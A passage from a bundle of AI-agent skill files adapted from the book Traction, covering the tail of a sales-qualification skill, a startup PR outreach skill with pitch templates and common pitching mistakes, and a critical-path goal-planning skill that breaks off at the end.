- Yes, years ago → possibly real but assess authority
- No, this would be first → tourist signal
2. "Who besides you will be involved in the decision?"
- Clear list → real process
- Vague "just me" → tourist signal (at F500 size, nothing is just one person)
- "Not sure yet" → tourist signal
3. "What's your timeline for making a decision?"
- Specific date → real
- Vague "when ready" → tourist signal
4. "What happens if you don't solve this in the next 6 months?"
- Specific consequences → real need
- "Nothing urgent" → tourist confirmed
## False Change Agent Detection
Signs the person is not actually a change agent:
- Tenure under 6-12 months at the company
- Title doesn't match authority claims
- Over-emphasizes their influence ("I can make this happen")
- Can't name specific past changes they drove
- Doesn't introduce you to anyone else
- Avoids involving their boss or stakeholders
Test question: "Can you walk me through a similar technology decision you drove here in the past?"
A real change agent has a specific story. A false one has generalities.
## Source
Chapter 18 ("Sales") of *Traction* by Gabriel Weinberg and Justin Mares. SPIN Selling is attributed to Neil Rackham; Sean Murphy is cited for the wrong-first-customer traps.
Guide startup PR and unconventional PR outreach using the media chain, pitch templates, and amplification tactics. Use whenever a founder or marketer needs t...
---
name: startup-pr-outreach
description: "Guide startup PR and unconventional PR outreach using the media chain, pitch templates, and amplification tactics. Use whenever a founder or marketer needs to pitch reporters, plan a PR campaign, land media coverage, run a publicity stunt, amplify a press story, use HARO, build reporter relationships, or avoid common PR mistakes. Also covers unconventional PR (stunts, customer appreciation) for startup launches. Activates on phrases like 'press release', 'PR campaign', 'media coverage', 'reporter outreach', 'pitch email', 'TechCrunch', 'HARO', 'product launch', 'PR strategy', 'publicity stunt', 'get coverage', 'press pitch', 'media pitch', 'journalist outreach'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/startup-pr-outreach
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [7, 8]
domain: startup-growth
tags: [startup-growth, public-relations, media-outreach, press-pitching, launch-marketing]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Company milestones, target media outlets, pitch angles, launch details"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for pitch drafts and media outreach tracker"
discovery:
goal: "Produce a PR campaign plan with pitch drafts, target outlet list, and amplification sequence"
tasks:
- "Identify a milestone worth PR coverage"
- "Build a media chain starting with small blogs"
- "Draft pitches using the two proven templates"
- "Apply the emotional angle criteria"
- "Avoid the 6 named PR pitching mistakes"
- "Plan the amplification sequence after coverage lands"
audience:
roles: [startup-founder, head-of-marketing, pr-lead]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "Product launch approaching"
- "Startup has a newsworthy milestone"
- "Previous PR attempts produced no coverage"
- "Bullseye selected PR as inner-circle channel"
prerequisites: []
not_for:
- "Phase I startups with nothing newsworthy yet (use targeting blogs instead)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 12
iterations_needed: 0
---
# Startup PR Outreach
## When to Use
The startup needs media coverage or is planning a PR campaign. Use this skill when:
- A newsworthy milestone has happened or is about to happen (funding, launch, usage threshold, partnership)
- The user wants to reach a broad audience via trusted intermediaries (reporters)
- Previous PR attempts produced no coverage
- Planning a publicity stunt or unconventional PR tactic
PR is typically a Phase II+ channel. Phase I startups without newsworthy milestones should use targeting blogs instead.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Milestone / angle:** what's actually newsworthy
→ Check prompt for: "launching", "raised", "hit X users", "partnership with"
→ If missing, ask: "What specific milestone are you trying to get coverage for? Launches, funding, user thresholds, and industry partnerships typically work. Vague product announcements don't."
- **Target audience:** who the story should reach
→ Check prompt for: developer, consumer, enterprise buyer, specific vertical
→ If missing, ask: "Who is the ideal reader? That determines which outlets and reporters to target."
### Observable Context
- **Existing media relationships:** prior coverage, reporter connections
- **Spokesperson availability:** founder, press-ready team members
### Default Assumptions
- Start with small blogs, not top-tier outlets (media chain principle)
- Founders pitch better than PR firms for early-stage startups
- Bundle smaller announcements into bigger ones when possible
### Sufficiency Threshold
```
SUFFICIENT: milestone + target audience known
PROCEED WITH DEFAULTS: milestone known, infer target from context
MUST ASK: no milestone exists (not newsworthy)
```
## Process
Use TodoWrite:
- [ ] Step 1: Identify/bundle the newsworthy angle
- [ ] Step 2: Build the media chain (small → top)
- [ ] Step 3: Build reporter relationships via Twitter/HARO
- [ ] Step 4: Draft pitches using proven templates
- [ ] Step 5: Plan amplification sequence
### Step 1: Identify and Bundle the Newsworthy Angle
**ACTION:** Determine what's actually newsworthy. Strong angles include:
- Funding round (especially with notable investors)
- Product launch with a specific unique hook
- Usage threshold crossed (1M users, 100k searches, etc.)
- Partnership with a recognizable brand
- A stunt or unconventional event (see unconventional PR)
- An industry report or data set only you have
**Bundle smaller announcements.** Jason Kincaid's advice: don't pitch small milestones individually if they can be combined. "Launched feature X" is weak. "Launched feature X + hit 10k users + signed partnership with Y" is strong.
The **emotional angle test**: ask "will this elicit an emotion in readers beyond satisfaction?" Satisfaction is a non-viral emotion. Stories that make readers share need to produce surprise, delight, outrage, or curiosity.
**WHY:** Reporters receive 50+ pitches daily. The first filter is "is this actually a story?" Bundled, emotionally-engaging milestones clear the filter. Single-milestone pitches get ignored. This isn't about hype — it's about giving the reporter enough material to write an interesting article.
**IF** no angle emerges → delay PR, build more milestones first, or pivot to targeting blogs for content-led coverage.
### Step 2: Build the Media Chain (Small → Top)
**ACTION:** Stories filter UP the media chain. Small blogs → TechCrunch → New York Times. Start small, not at the top.
Identify the chain for your category:
- **Level 1 (entry):** Hacker News, Reddit, Product Hunt, niche industry blogs, HARO responses
- **Level 2 (mid-tier):** TechCrunch, The Verge, Wired, industry publications
- **Level 3 (top-tier):** NYT, WSJ, mainstream TV, national podcasts
Target Level 1 first. Top outlets (Level 2-3) often pick up stories from Level 1. DuckDuckGo's Time Magazine feature came via a Twitter relationship with a reporter who then included DDG in a Top 50 list — not via a cold pitch to Time.
**WHY:** Cold-pitching top outlets has near-zero success rate. Most top reporters scan Hacker News, Reddit, and small blogs looking for stories. Starting at Level 1 puts the story where top reporters are already looking. This is how stories naturally filter up — respecting the mechanic dramatically increases success.
### Step 3: Build Reporter Relationships
**ACTION:** Before pitching, identify and engage reporters who cover your category. Twitter is the easiest channel — many reporters have surprisingly few followers and engage with thoughtful replies.
Tactics:
- Follow reporters who cover your space
- Reply to their tweets with genuine context (not pitches)
- Respond to HARO (Help A Reporter Out) queries — this creates mentions and warm introductions
- Bookmark reporters' email addresses before you need them
**WHY:** Cold pitches to strangers have 1-2% response rates. Pitches from people a reporter recognizes from prior Twitter interactions have dramatically higher response rates. The relationship doesn't need to be deep — recognition alone is often enough. HARO is a fast path to a first mention, which then becomes social proof for the next outreach.
**IF** there's no time to build relationships organically → HARO is the fastest substitute. Answer 3-5 relevant queries weekly.
### Step 4: Draft Pitches Using Proven Templates
**ACTION:** Use one of the two templates from [references/pitch-templates.md](references/pitch-templates.md):
1. **Direct pitch:** Subject line with exclusive hook, short paragraphs (hook + product + demo link + exclusive offer), direct contact info at bottom.
2. **Ryan Holiday template:** Subject "Quick question", reference their prior work, tease the exclusive, give specific results ("25,000 paying customers in 2 months"), ask for their process.
Critical criteria for any pitch:
- Short — reporters scan, don't read
- Emotional hook — not "we built a product"
- Concrete specifics — numbers, names, dates
- One clear angle — not 3 competing ones
- Exclusive offer when possible (first access, embargo, data)
Run the **6 PR mistakes check** — see [references/pr-mistakes.md](references/pr-mistakes.md).
**WHY:** Pitch format matters more than most founders realize. The difference between a 50-word pitch and a 500-word pitch is a 10x response rate difference. Templates prevent founders from writing the "wall of text" mistake. The mistakes check prevents the most common failure modes (wall of text, bad timing, no emotional angle, PR firm via, unclear launch timing, bundling failures).
### Step 5: Plan the Amplification Sequence
**ACTION:** Coverage is step 1. Amplification is what turns coverage into traction. For each piece of coverage that lands:
1. **Submit to community sites:** Hacker News, Reddit, Product Hunt, Slashdot (category-appropriate), Digg
2. **Share on social:** Twitter, LinkedIn, Facebook, with founder personal accounts amplifying
3. **Pay to boost:** Run social ads pointing to the coverage page (often cheaper than ads pointing to landing pages)
4. **Email your list:** Point subscribers to the coverage
5. **Contact tier 2 reporters:** Share the coverage as evidence that the story has traction, invite follow-up
Write the amplification plan to `pr-amplification.md`.
**WHY:** A TechCrunch feature sends traffic for 24-48 hours. Amplification extends the half-life and creates the chain reaction that drives stories up to top-tier outlets. Founders who skip amplification get coverage but not the compounding effect coverage enables.
## Inputs
- Newsworthy milestone or bundled announcement
- Target audience
- Media chain for the category
- Reporter contact list (or plan to build one)
## Outputs
Four markdown files:
1. **`pr-angle.md`** — The story, bundled milestones, emotional hook
2. **`pr-media-chain.md`** — Target outlets by tier
3. **`pr-pitches.md`** — Draft pitches (direct + Ryan Holiday variants)
4. **`pr-amplification.md`** — Post-coverage amplification sequence
## Key Principles
- **Stories filter UP the media chain.** Don't start at the top. WHY: Top reporters get their ideas from small blogs. Starting at the top means cold-pitching someone who doesn't know you. Starting small means your story shows up where top reporters are already looking.
- **Bundle, don't drip.** One big announcement beats five small ones. WHY: Reporters want material. A bundled announcement gives them enough for a real article. Drip announcements get ignored individually.
- **Emotional angle trumps feature list.** Reporters need readers to share the story. Shares come from emotion, not features. WHY: "Satisfaction is a non-viral emotion." Stories worth sharing produce surprise, outrage, delight, or curiosity.
- **Founders pitch better than PR firms at early stage.** Most reporters ignore PR firm pitches. Founder pitches are more personal and show the founder cares. WHY: PR firms cost money and produce lower response rates for early-stage companies. Save the money, do it yourself, and learn the skill.
- **Amplification is mandatory.** Coverage without amplification is wasted potential. WHY: A single piece of coverage produces 24-48 hours of attention. Amplification extends it by weeks and creates the chain reaction to top-tier outlets.
- **Twitter is the reporter relationship channel.** Many reporters have accessible Twitter follower counts. WHY: LinkedIn and email are crowded. Twitter engagement is casual enough that reporters actually read replies. A month of thoughtful replies beats 50 cold emails.
## Examples
**Scenario: B2B SaaS product launch**
Trigger: "We're launching our analytics tool in 4 weeks. Want TechCrunch coverage. What should we do?"
Process: (1) Bundle milestones: launch + seed funding + 3 pilot customers = one big story. (2) Media chain: Product Hunt launch, Hacker News post, targeted tier-1 analytics blogs → tier-2 TechCrunch/VentureBeat → tier-3 coverage unlikely for early-stage. (3) Relationships: 4 weeks isn't enough to build organic relationships, so HARO + Twitter engagement with 5 reporters who cover analytics. (4) Pitches: direct pitch template, emphasize exclusive access, specific pilot customer results. (5) Amplification: day-of Hacker News + Product Hunt submission, founder Twitter thread, paid social boost to coverage URL.
Output: Week-by-week PR plan with pitch drafts, specific reporters, and amplification checklist.
**Scenario: Previous PR attempts failed**
Trigger: "We sent 30 pitches to TechCrunch reporters last month and got zero responses. What's wrong?"
Process: (1) Diagnose: cold-pitching top outlets directly is the most common PR mistake. Show the media chain — stories filter up, not down. (2) Review the pitches — apply the 6 mistakes check. Usually at least 3 apply (wall of text, no emotional hook, no clear angle, unclear timing). (3) Re-strategy: start at small blogs and HARO. Build Twitter relationships with 3-5 TechCrunch reporters over 4-6 weeks BEFORE any pitch. (4) Rewrite pitches using the Ryan Holiday template. (5) Amplification plan for when coverage lands.
Output: Diagnosis of why previous approach failed, corrected approach, and new pitch drafts.
**Scenario: Unconventional PR stunt**
Trigger: "We want to do a publicity stunt like Dollar Shave Club's video or Half.com renaming a town. What makes these work?"
Process: (1) Analyze the pattern: unique + surprising + shareable + on-brand. (2) Generate stunt ideas tied to the company's actual product (not random). (3) Evaluate each against emotional angle test. (4) Pick one and plan execution: budget, timing, amplification plan. (5) Have a backup: stunts have binary outcomes (viral or ignored) — have a secondary launch angle ready.
Output: Stunt plan with clear success criteria and backup launch angle.
## References
- For the two proven pitch templates, see [references/pitch-templates.md](references/pitch-templates.md)
- For the 6 PR pitching mistakes, see [references/pr-mistakes.md](references/pr-mistakes.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select PR via Bullseye deliberately
- `clawhub install bookforge-startup-traction-strategy-by-phase` — PR is typically Phase II+
- `clawhub install bookforge-content-and-email-marketing` — Content-led coverage is a parallel path
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/pitch-templates.md
# PR Pitch Templates
Two proven templates from *Traction* Chapter 7.
## Template 1: Direct Pitch
```
Subject: Exclusive for [Outlet] — [One-line hook]
Hi [Reporter first name],
[One-sentence hook tied to a trend or pain point they cover.]
We're [Company Name], a [short category description]. Today we're [launching/announcing/releasing] [specific thing]. Here's why it matters: [1-2 sentences of emotional/strategic impact].
Specifics:
- [Concrete number or fact]
- [Concrete number or fact]
- [Concrete number or fact]
Demo: [link]
I can give [Outlet] an exclusive [first coverage / early access / embargo until X / data set].
Happy to hop on a 15-minute call this week if useful.
[Founder name]
[Founder title]
[Direct phone] | [Direct email]
```
**Usage notes:**
- Subject line is the most important element. Test multiple subjects.
- Keep paragraphs to 2 sentences max.
- The "exclusive" offer is what distinguishes your pitch from the 50 others the reporter got today.
- Direct contact info at bottom signals you're serious and easy to reach.
## Template 2: Ryan Holiday "Quick Question"
```
Subject: Quick question
Hi [Reporter first name],
I really enjoyed your piece on [specific article, not just "your work"]. The point about [specific insight from their article] resonated because [how it relates to what you're doing].
I have something that might interest your readers. In [timeframe], we've [specific achievement with numbers] — for example, [specific customer/metric/story].
I can give you the exclusive on [what you're offering]. What's your preferred process?
[Founder name]
```
**Usage notes:**
- The "Quick question" subject bypasses reporter spam filters (most PR pitches have promotional subjects).
- Referencing their specific prior work is critical — generic praise ("love your writing") fails.
- Numbers in the second paragraph prove the story is real.
- "What's your preferred process?" puts the ball in their court in a respectful way.
## Template Variants
**HARO response template:**
```
Subject: [Answering your HARO query about X]
Hi [Reporter],
I saw your HARO query about [topic]. I'm [name], founder of [company], and [specific credential that makes you relevant].
Here's my answer: [2-3 sentences of substantive response — not a plug].
Happy to provide more context or specific data if helpful. [Direct contact].
```
**Warm intro request (via investor/advisor):**
```
Subject: Intro request — [Reporter name] at [Outlet]
Hey [Investor/Advisor name],
Would you be willing to introduce me to [Reporter name] at [Outlet]? They cover [category], and we have a story I think would interest them: [one-sentence hook].
I've attached a 1-page overview they can skim. Happy to customize the intro note however works best for you.
Thanks!
[Founder name]
```
## What NOT to Include
- Long company backstories
- Bullet lists of all product features
- Marketing language ("revolutionary", "disruptive", "leading")
- Multiple competing story angles
- Generic "you'd love this" framing without specifics
## Source
Chapter 7 ("Public Relations") of *Traction* by Gabriel Weinberg and Justin Mares. The Ryan Holiday template is attributed to Ryan Holiday's *Trust Me, I'm Lying*, cited in Chapter 7.
FILE:references/pr-mistakes.md
# The 6 PR Pitching Mistakes
Named failure modes from Chapter 7 of *Traction*, based on interviews with reporters like Jason Kincaid (TechCrunch).
## Mistake 1: Wall of Text Emails
**What it looks like:** Long pitch emails with dense paragraphs, backstory, feature lists, and multiple angles.
**Why it fails:** Reporters scan, not read. A wall of text gets filed as "not worth the effort."
**Fix:** 150 words maximum. Short paragraphs. Scannable structure.
## Mistake 2: Unclear Launch Timing
**What it looks like:** Pitches that don't specify when the news is happening. "We're launching soon" or "sometime next month".
**Why it fails:** Reporters work on deadlines. If they can't tell WHEN to publish, they don't publish.
**Fix:** Specific date and time in every pitch. If there's an embargo, state it.
## Mistake 3: No Emotional Angle
**What it looks like:** Feature lists. "We built X that does Y." Neutral descriptions.
**Why it fails:** Readers share articles that make them feel something. Satisfaction is a non-viral emotion. If readers don't share, reporters don't get traffic, and they stop pitching that angle.
**Fix:** Ask "what emotion will readers feel?" Surprise, outrage, delight, curiosity. If the answer is "satisfaction" or nothing, find a different angle.
## Mistake 4: Bundling Failure (Announcement Drip)
**What it looks like:** Pitching small milestones individually instead of bundling them.
**Why it fails:** A reporter covering "we shipped feature X" next week and "we signed partner Y" the week after has been asked to write 2 weak articles instead of 1 strong one. They'll pass on both.
**Fix:** Jason Kincaid's rule: bundle smaller announcements together into one bigger announcement whenever possible.
## Mistake 5: PR Firm Via
**What it looks like:** Early-stage startup hires a PR firm that sends templated pitches on behalf of the company.
**Why it fails:** "Most print reporters we talked to said they ignore almost all pitches from PR firms but do listen to most founders." PR firms are expensive and produce lower response rates at early stage.
**Fix:** Founder-direct pitches. Save the $10k/month PR retainer for a later stage when the scale matters more than the authenticity.
## Mistake 6: No Specific Reference
**What it looks like:** "I love your work!" or "I'm a big fan of your writing." Generic praise.
**Why it fails:** Reporters get 20+ of these daily. Generic praise is worse than no praise — it signals the pitcher hasn't read anything specific.
**Fix:** Reference a specific article, a specific point in that article, and how it connects to your pitch. If you can't do that, don't mention their work.
## The Meta-Pattern
These 6 mistakes converge on one failure: **the pitch doesn't respect the reporter's time**. Every mistake makes more work for the reporter to extract the story. The fix is always the same — do more work upfront so the reporter does less work to decide "yes".
## Additional Failure Patterns (not numbered in book)
- **Pitching outside their beat:** Emailing a consumer tech reporter about a B2B SaaS product.
- **Follow-up spam:** 3 follow-ups in a week to a non-response. One follow-up after 5 days is acceptable.
- **Exclusive inflation:** Offering "exclusive" to 10 reporters simultaneously. One exclusive at a time.
- **Missing news hook:** Pitching without a time-sensitive trigger. "We've been around for 2 years" isn't news.
## Source
Chapter 7 ("Public Relations") of *Traction* by Gabriel Weinberg and Justin Mares.
Guide a startup to set a single quantified traction goal and define the critical path of milestones to reach it. Use whenever a founder needs to prioritize a...
---
name: startup-critical-path-planning
description: "Guide a startup to set a single quantified traction goal and define the critical path of milestones to reach it. Use whenever a founder needs to prioritize activities, set growth goals, define milestones, decide what NOT to work on, plan quarterly/yearly execution, cascade goals to teams, escape the 'too many things to do' trap, or apply a binary on-path/off-path filter to proposed work. Activates on phrases like 'traction goal', 'critical path', 'what should we focus on', 'too many priorities', 'prioritization', 'milestones', 'quarterly planning', 'yearly goals', 'OKRs', 'where should I spend my time', 'what NOT to do', 'company planning', 'goal setting', 'DuckDuckGo', 'roadmap'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/startup-critical-path-planning
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [6]
domain: startup-growth
tags: [startup-growth, goal-setting, milestone-planning, startup-execution, prioritization]
depends-on: []
execution:
tier: 1
mode: plan-only
inputs:
- type: document
description: "Company state, candidate milestones, resource constraints, proposed work items"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for critical path document"
discovery:
goal: "Produce a written critical path with one traction goal, ordered necessary milestones, and an exclusion log"
tasks:
- "Define one specific quantified traction goal"
- "Enumerate every milestone that might be necessary"
- "Ruthlessly filter to only truly necessary milestones"
- "Order milestones by dependency"
- "Apply binary on-path/off-path filter to proposed work"
- "Cascade company critical path to department/individual paths"
audience:
roles: [startup-founder, growth-marketer, head-of-marketing]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "Founder has too many priorities and can't decide what to cut"
- "Team is busy but growth isn't happening"
- "Planning a quarter or year of execution"
- "Deciding whether a proposed feature/activity is worth doing"
prerequisites: []
not_for:
- "User needs tactical channel advice (use bullseye-channel-selection)"
environment:
codebase_required: false
codebase_helpful: false
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 11
iterations_needed: 0
---
# Startup Critical Path Planning
## When to Use
The startup has many possible things to work on and needs a filter for deciding what actually matters. Use this skill when:
- The team is busy but growth isn't moving
- A founder says "we have too many priorities"
- Planning a quarter or year where focus is required
- Evaluating whether a specific proposed feature, hire, or activity is worth doing
- Cascading company-level goals to department or individual work
This is a plan-only skill — the output is a written critical path document, not agent-executed work.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Current company state:** stage, resources, biggest constraint
→ Check prompt for: metrics, team size, runway
→ If missing, ask: "What's your current state? Team size, runway, current metrics (users/revenue), biggest bottleneck?"
- **Candidate list of things being considered:** features, hires, activities the founder is weighing
→ Check prompt for: "we're thinking about", "might do X or Y", lists of activities
→ If missing, ask: "What's on your list of things you're considering doing? Include everything, even things you're not sure about."
### Observable Context
- **Prior goals and progress:** has the founder set goals before? How did they go?
- **Existing roadmap or planning docs:** what already exists
### Default Assumptions
- The user is over-loaded with options (the common case)
- Default goal horizon: 6-12 months
- The critical path will cut 50%+ of candidate items
### Sufficiency Threshold
```
SUFFICIENT: company state + candidate items + rough goal horizon known
PROCEED WITH DEFAULTS: company state known, infer candidates from context
MUST ASK: no company state at all
```
## Process
Use TodoWrite:
- [ ] Step 1: Define the single traction goal
- [ ] Step 2: Enumerate candidate milestones (brainstorm wide)
- [ ] Step 3: Filter to only truly necessary milestones
- [ ] Step 4: Order milestones by dependency
- [ ] Step 5: Apply binary on-path filter to ongoing work
- [ ] Step 6: Cascade to departments and individuals
### Step 1: Define the Single Traction Goal
**ACTION:** Help the user articulate ONE specific, quantified traction goal. It must:
- Be specific and measurable (1,000 paying customers, $50k MRR, 100M searches/month)
- Be time-boxed (by when)
- **Change something significant if achieved** — profitability, fundraisability, market leadership, next-phase unlock
If the user proposes multiple goals, force a choice. Multiple top-level goals is the same as no goal. Write the single goal to `critical-path.md`.
**WHY:** Without a single traction goal, every prioritization decision becomes political or vibes-based. With a single goal, every proposed activity gets a binary check: "does this help reach goal X?" Peter Drucker's version: "If you have more than three priorities, you have none." The single goal is the foundation of the entire skill.
**IF** the user can't pick one goal → ask "which of these, if achieved, would most change the trajectory of the business?" Use that.
**IF** the goal feels too ambitious → keep it. Ambition is fine. The test is whether achievement is significant, not whether it's likely.
### Step 2: Enumerate Candidate Milestones (Brainstorm Wide)
**ACTION:** Work backwards from the goal. List every milestone that might plausibly be necessary to reach it. Be generous — include product features, hires, marketing activities, partnerships, funding events, infrastructure, compliance. At this stage, include more than you need.
**WHY:** The brainstorm is explicitly wide because you can't filter what you haven't considered. A tight filter applied to a short list misses the non-obvious milestones. A tight filter applied to a long list catches what matters and cuts what doesn't.
### Step 3: Filter to Only Truly Necessary Milestones
**ACTION:** For each candidate milestone, apply this filter: **"If we skip this milestone, can we still plausibly hit the traction goal?"**
If the answer is "yes, we'd probably still hit it" → the milestone is NOT on the critical path. Move it to an **exclusion log** with a one-sentence reason.
Be ruthless. Most candidate milestones will be cut. The DuckDuckGo example: product features like images and auto-suggest were *excluded* from the critical path for Goal 2 (100M searches/month) even though users were asking for them — because they weren't strictly necessary for that specific goal. Those features came back onto the path for a later goal.
Write the filtered list to `critical-path.md` and the exclusion log to `critical-path-excluded.md`.
**WHY:** The exclusion is where the power of this framework comes from. "Necessary" is a higher bar than "useful". Many things are useful. Very few are necessary. Cutting the merely-useful is what frees resources to execute the necessary. If the exclusion log is short, you didn't cut hard enough — run the filter again.
**IF** the user resists cutting something → ask specifically: "Can we hit the goal without this?" If the answer isn't a definitive no, cut it.
### Step 4: Order Milestones by Dependency
**ACTION:** For the filtered list, identify which milestones must precede which. Build a dependency chain. The first milestone(s) in the chain are what the team should work on RIGHT NOW. Nothing else.
Prefer shortcuts: if a milestone can be satisfied by using an external provider rather than building in-house, take the shortcut. The goal is to reach the traction goal, not to build everything from scratch.
**WHY:** Dependency ordering reveals what actually has to happen first. It's common for teams to work on Milestone 5 while Milestones 1-4 are unfinished, because 5 is more interesting. Ordering forces the team to confront what's actually blocking progress.
### Step 5: Apply the Binary On-Path Filter
**ACTION:** For any ongoing work or newly proposed activity, apply the filter: **"Is this on the critical path?"** Binary answer — yes or no. If no, don't do it. Period.
This includes activities that feel productive: refactoring, technical debt, new features, exploratory research, speculative hires. If they're not on the path to the traction goal, they wait.
**WHY:** The binary filter is the forcing function. It's easy to rationalize off-path work as "important" or "strategic". The filter asks a narrower question: necessary for *this* goal, *right now*? Everything else is a distraction. DuckDuckGo's Gabriel Weinberg built DDG for 6+ years by maintaining this filter — most search startups died because they worked on everything.
**IF** an ongoing activity fails the filter → stop it. Reassign the resources to the first on-path milestone.
**IF** a proposed activity fails the filter → decline it. Queue it for after the current goal is reached.
### Step 6: Cascade to Departments and Individuals
**ACTION:** If the user has teams or direct reports, cascade the critical path down one level. Each team defines its own sub-critical-path aligned to the company goal. Each individual defines their own critical path aligned to the team goal.
Set a weekly review cadence: 1:1s and team meetings include a standing agenda item — "is the work this week on our critical path?"
**WHY:** Company-level critical paths get diluted at the department and individual level if not explicitly cascaded. The cascade ensures that what the founder calls the critical path is what each engineer, marketer, and salesperson is actually working on day-to-day. Weekly review is the accountability mechanism — if the team can't point to on-path work in a 1:1, the path isn't being followed.
## Inputs
- Current company state (metrics, team, runway, constraints)
- Candidate list of work items being considered
- Rough goal horizon (3, 6, 12 months)
## Outputs
Three markdown files:
1. **`critical-path.md`** — The single traction goal, filtered milestones in dependency order, next immediate steps
2. **`critical-path-excluded.md`** — Exclusion log of items considered but cut, with one-line reasons
3. **`critical-path-cascade.md`** *(if applicable)* — Department and individual sub-paths
## Key Principles
- **One goal, not three.** Multiple top-level goals is the same as no goal. Pick one. The one that, if achieved, changes the business trajectory most. WHY: Prioritization is impossible without a single anchor. Any decision can feel important if you're comparing it to vague multi-goal aspirations.
- **Necessary is a higher bar than useful.** Most candidate milestones are useful. Very few are necessary. The filter cuts the merely-useful. WHY: This is where the leverage is. Resources freed from useful-but-not-necessary work are what enable the necessary work to ship on time.
- **The exclusion log matters as much as the path.** Writing down what you're NOT doing, with reasons, is what prevents the cut items from creeping back in. WHY: Without the written exclusion, team members will re-propose cut items every few weeks. The log is a reference point: "we explicitly cut this for this reason."
- **Binary, not gradient.** Work is on the path or off the path. There is no "kind of on the path." Gradient evaluation produces wishy-washy prioritization. WHY: Binary forces a decision. Gradient lets people rationalize anything as "somewhat important."
- **Reassess after every milestone.** Completing a milestone changes what you know. The path that made sense at the start may not be the path from here. WHY: The critical path is not a one-time document. It's a living plan that updates with learning. Static paths become wrong as the world changes.
- **Take the shortcut.** If a milestone can be reached via an external provider, partnership, or existing tool, use that instead of building. WHY: The goal is the traction goal, not the pride of building everything yourself. Shortcuts compress time-to-goal, which is the whole point.
## Examples
**Scenario: Founder with 15 priorities**
Trigger: "We're a 6-person B2B SaaS startup, 3 months from running out of runway. Need to raise a Series A. We're working on: the new dashboard redesign, hiring a VP Marketing, a big feature release, onboarding automation, enterprise SSO, the blog we've been meaning to launch, getting on the Salesforce marketplace, rebuilding our pricing page, and a bunch of other things."
Process: (1) Goal: $30k MRR by month-end — the minimum to make an A story credible. (2) Brainstorm: all the items above plus ~8 more. (3) Filter — for each item ask "does this get us to $30k MRR this month?" Results: onboarding automation YES (converts trials faster), Salesforce marketplace MAYBE (takes too long to ship, move to exclusion), dashboard redesign NO (doesn't acquire customers), VP Marketing hire NO (won't ship this month), blog NO (too slow), pricing page NO, SSO NO (enterprise deals don't close this month). Of 15 items, only 3 survive: onboarding automation, closing 4 active trials that are on the edge, and accelerating one enterprise deal already in flight. (4) Order: close the enterprise deal first (biggest lever), accelerate trial closures, ship onboarding automation last. (5) Filter ongoing work: team was spending 40% of time on dashboard redesign — stop. Reallocate to closing the enterprise deal.
Output: `critical-path.md` with the 3 surviving items, `critical-path-excluded.md` with 12 items and reasons, immediate reallocation plan.
**Scenario: Startup 18 months in, still no focus**
Trigger: "Consumer mobile app, 18 months in, $0 revenue, $400k raised. We have a free app with 20k users. Founders disagree on whether to focus on ads, in-app purchases, or a B2B licensing deal."
Process: (1) Force one goal. Ask: "Which of these, if achieved in 6 months, would most change the trajectory?" — founders agree: first $10k MRR. (2) Brainstorm milestones for each of the 3 paths: ad-supported model, IAP, B2B licensing. (3) Filter: ad-supported model requires 500k+ users (can't hit in 6 months) → excluded. IAP requires product changes + payment infrastructure + marketing test → viable. B2B licensing requires 1 deal closure → viable and fastest. (4) Order: pursue B2B first (single deal = goal), IAP as parallel fallback. (5) Filter ongoing work: team was building ad infrastructure — stop, reassign to B2B outreach.
Output: Clear single goal, decisive cut of ad strategy, parallel B2B+IAP path with B2B as primary.
**Scenario: DuckDuckGo-style long-arc planning**
Trigger: "Privacy-focused product competing with incumbents. We have 10k users. Where do I even start with goals?"
Process: (1) Goal: specific user count that unlocks next phase — "100k monthly active users" as first goal (DDG-style cascade: product/messaging stable → break-even threshold → mainstream adoption). (2) Brainstorm all milestones that might contribute: mobile app, improved messaging, 1 piece of viral PR, API integration with a power user tool, SEO on "privacy" keywords, etc. (3) Filter: mobile app YES (retention driver), SEO on privacy keywords YES (aligned with cause), viral PR YES (one good story could 10x users), API integration MAYBE — moved to exclusion for this phase. (4) Order: SEO foundation first (slowest to compound), then PR preparation, then mobile app launch. (5) Filter proposed features: product team wants to add a new browser extension → apply filter → does this contribute to 100k MAU? Only if it ships in 3 weeks. Otherwise, exclude.
Output: Multi-goal cascade pattern inspired by DuckDuckGo's approach. One current goal with clear milestones. Features that don't serve it are explicitly excluded, reviewable at next goal transition.
## References
- For the DuckDuckGo three-goal cascade case study, see [references/duckduckgo-cascade.md](references/duckduckgo-cascade.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
